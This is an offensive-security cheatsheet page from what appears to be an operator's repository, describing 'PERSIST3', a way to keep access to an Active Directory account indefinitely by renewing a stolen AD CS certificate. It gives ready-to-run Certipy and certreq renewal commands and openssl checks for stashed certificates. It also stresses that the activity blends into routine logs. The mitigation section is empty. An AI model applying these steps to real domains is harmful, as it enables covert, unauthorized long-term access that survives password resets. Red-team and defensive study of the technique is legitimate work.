repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
persist3-account-persistence-via-certificate-renewal.mdMarkdown103 lines5.0 KiBsource raw download

title: "PERSIST3 — Account Persistence via Certificate Renewal" description: "Templates that allow renewal let a holder present their current certificate and receive a fresh one with a new validity window, authenticated by the…" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "persistence"] tools: ["Certipy", "OpenSSL", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST3 — Account Persistence via Certificate Renewal.md"#

PERSIST3 — Account Persistence via Certificate Renewal#

Quick Reference#

Field Value
Category Account Persistence (renewal)
Difficulty Low
Pre-requisites An existing valid certificate + private key for the account; the template permits renewal
Tools Certipy (req -renew), certreq
OPSEC Noise Low — looks like normal certificate lifecycle
One-liner Renew a certificate before it expires using only the existing cert/key — no account password needed — extending your access for another full validity period, indefinitely.

What Is PERSIST3?#

Templates that allow renewal let a holder present their current certificate and receive a fresh one with a new validity window, authenticated by the existing key rather than by the user's password. An attacker who obtained a cert (via an ESC, THEFT, or PERSIST1) can therefore roll it forward forever, so long as they renew before each expiry. Password resets never break the chain because renewal never uses the password.

Renewal persistence loopLR
cert v1expires in 30d cert v2fresh 1-2y cert v3 … renew with key renew again forever

Step 1 — Renew Before Expiry#

# Certipy — renew using the current pfx (no password required)
certipy-ad req -renew \
  -pfx current.pfx \
  -dc-ip $TARGET -ca 'DOMAIN-CA'
#   -> renewed.pfx with a fresh validity window
# Windows — certreq renewal of an existing cert by thumbprint
certreq -enroll -user -q -PolicyServer * -cert <THUMBPRINT> Renew

Step 2 — Track & Automate#

# Check remaining validity of a stashed cert
certipy-ad cert -pfx current.pfx -nokey -out /dev/stdout | grep -i 'Not After'
openssl pkcs12 -in current.pfx -nodes -nokeys | openssl x509 -noout -enddate

OPSEC Considerations#

Action Log Noise
Renewal request Event 4886/4887 on CA (looks routine) 🟢 Low
PKINIT auth with renewed cert Event 4768 on DC 🟢 Low

[!note] Blends into normal lifecycle Renewals are indistinguishable from legitimate certificate maintenance, which is what makes this quiet persistence.


Mitigation#


See Also#